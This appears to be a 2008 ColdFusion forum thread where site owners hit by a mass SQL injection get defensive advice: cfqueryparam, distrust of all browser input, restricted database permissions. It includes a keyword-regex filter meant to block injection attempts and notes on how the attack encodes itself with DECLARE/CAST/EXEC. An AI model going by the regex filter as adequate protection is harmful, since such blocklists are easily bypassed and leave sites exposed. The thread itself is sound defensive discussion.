SQL Injection attack

Report · Aug 08, 2008

After an SQL injection attack I followed the advice to use cfqueryparam in my cfquery statements. Unfortunatley this does not seem to have worked as many records in my database have again been appended with scripts linking to javascript files on another website.

I haven't coded in Coldfusion in a while and would really appreciate it if someone could take a look at the code of one of my pages and let me know if I have missed anything or miss coded the cfqueryparam tag.

Thanks in advance

Neil

Report · Aug 08, 2008

this isn't the page that is updating your database (except for the view count). you need to post the code that updates the table(s) that have been affected

Report · Aug 08, 2008

There is also a code on RIA Forge (www.riagforge.com) that will scan
your code base for any <cfquery...> tags that do not use <cfqueryparam...>

It just takes one missed vulnerable query for this attack to succeed and
one successful attack infects your entire database because that attack
uses the database itself to scan all the tables and columns and insert
the payload.

Report · Aug 08, 2008

cfqueryparam will prevent sql from executing when it it submitted to your db. Depending on the datatype it will either cause a crash or simply get stored.

Same thing with javascript. The problem will come when you select the record and display it. If it's on a web page, it will execute. If it's in a textbox or textarea, it will display.

At least that's what I observed when doing my own testing.

There are ways to handle this on a page by page basis. I don't know of any global methods you can put in your application.cfc file.

Report · Aug 09, 2008

Thanks for the fast and comprehensive responses. I am currently going through every template and updating each CFquery with 'cfqueryparam'.

The code I attached is from the page which my hosting provider advised has been the access point of the attack

I tried www.riagforge.com but it looks like website is down.

Do I only need to update queries where a variable is passed in a URL or do also need use cfqueryparam for values submitted in a form?

Thanks again

Report · Aug 09, 2008

You need to do it for variables submitted through a FORM as well. Absolutely anything that is coming from the browser (URL variables, FORM variables, and COOKIE variables) is untrusted. You have no guarantees that it is what you expect it to be, so you should treat it accordingly. This applies even if you're doing javascript validation of the fields prior to submission. Those validation checks can be bypassed.

Report · Aug 10, 2008

Hello,

I have had to deal with a couple of these attacks in the last few weeks. I am adding cfqueryparam to all the queries where I can, as time allows.

There are a couple of things I don't understand; perhaps somebody cares to explain:

I have a completely clean backup of the database. This past week, when one of these attacks surfaced again, I restored the database from that backup. I have had to do it several times because the problem shows up again, sometimes half an hour after I restore, sometimes half a day after.

One question is: does someone have to actually send in a form or modify a URL for this to happen? Or, is there some kind of "seed" somewhere in the web site that triggers this automatically? Or are there bots constantly visiting and injecting?

One other question: the fields where the injection shows up are all text fields of varying lengths, to which the injected string is appended – in all cases, the cfsqltype="cf_sql_varchar". How is <cfqueryparam> going to help there?

Any ideas would be highly appreciated.

Carlos

Report · Aug 10, 2008

You will probably find that these attacks are coming from compromised machines, so the requests will be sent in from all over the world at random times.

When using cfqueryparam the fact that it is allowing varchar still protects you because now it is a parameterised query it will treat that varchar string as data and not a SQL command. Thus any SQL in it will not be executed, this differs from not using cfqueryparam as you are just building a dynamic SQL string which leaves you wide open.

HTH

Report · Aug 10, 2008

Simon, thanks for the clear explanation; now I understand this a little better.

I am going to keep modifying all the cfqueries. I the meantime, if anyone knows of any other steps to take to protect from these attacks, please tell us.

Thank you all for the help.

Carlos

Report · Aug 11, 2008

You should make sure that the database user that your ColdFusion Datasource uses, only has the permissions it needs. The SQL injection attack you were under needs access to the sysobjects and syscolumns tables to find all the text fields, if this user didn't have access to these then it wouldn't work.

Report · Aug 12, 2008

Mamdoh & Simon, thank you both for your suggestions. I intend to put them to use, if I can.

On the permissions, I am not sure if I can do anything because I am on shared server/database. I'll have to check with my hosting provider.

About Mandoh's code, I would imagine the place for it is inside the 'onRequestStart' function in my Application.cfc. If this is wrong, please tell me.

I finished adding <cfqueryparam> to all the appropriate queries three days ago. So far, no new attacks have surfaced, before that, I would restore the database and it would be damaged again within 12 hours – Looks like that worked; I am keeping my fingers crossed.

Thank you all.

Carlos

Report · Aug 09, 2008

cfqueryparam does many good things for you such as handling apostrophes and improving performance. I use it unless there is a reason not to.

Report · Aug 10, 2008

You can add the following code to your application file.


<cfset sqlregex = "
(SELECT\s[\w\*\)\(\,\s]+\sFROM\s[\w]+)|
(UPDATE\s[\w]+\sSET\s[\w\,\'\=]+)|
(INSERT\sINTO\s[\d\w]+[\s\w\d\)\(\,]*\sVALUES\s\([\d\w\'\,\)]+)|
(DELETE\sFROM\s[\d\w\'\=]+)|
(DROP\sTABLE\s[\d\w\'\=]+)">


<cfloop collection="#form#" item="formelement">
<cfif isSimpleValue(evaluate(formelement)) AND refindnocase(sqlregex, "#evaluate(formelement)#")>
<cflocation url="messages.cfm?message=Invalid Input. Possible SQL Injection attack.">
<cfset StructClear(form)>
<cfabort>
</cfif>
</cfloop>


<cfloop collection="#url#" item="formelement">
<cfif isSimpleValue(evaluate(formelement)) AND refindnocase(sqlregex, "#evaluate(formelement)#")>
<cflocation url="messages.cfm?message=Invalid Input. Possible SQL Injection attack.">
<cfset StructClear(url)>
<cfabort>
</cfif>
</cfloop>

Good luck
Mamdoh

P.S: The credit for the script go to sys-con.com

Report · Aug 13, 2008

Carlos,

If you are using application.cfc then yes you will put the script inside the onRequestStart function. Don't forget to create an error page and call it messages.cfm.

Good luck
Mamdoh Alhabeeb

Report · Aug 13, 2008

qateef,

I think the regexp needs a few tweaks. First, there are carriage returns in your string which I believe need to be taken out. Second, the recent SQL injection attacks are using DECLARE/CAST/EXEC statements to use select/update statements that are encoded and would bypass the usual filters.

This might work a little better.

<cfset sqlregex = "(SELECT\s[\w\*\)\(\,\s]+\sFROM\s[\w]+)|(UPDATE\s[\w]+\sSET\s[\w\,\'\=]+)|(INSERT\sINTO\s[\d\w]+[\s\w\d\)\(\,]*\sVALUES\s\([\d\w\'\,\)]+)|(DELETE\sFROM\s[\d\w\'\=]+)|(DROP\sTABLE\s[\d\w\'\=]+)|(DECLARE\s@)">

I saw a good blog entry with more detail on the actual exploit.

http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-ASCII

Steve

Report · Aug 14, 2008

Don't forget to specify "type" in your cfparams as well. That will help as well.
<cfparam name="url.imageid" default="0" type="numeric">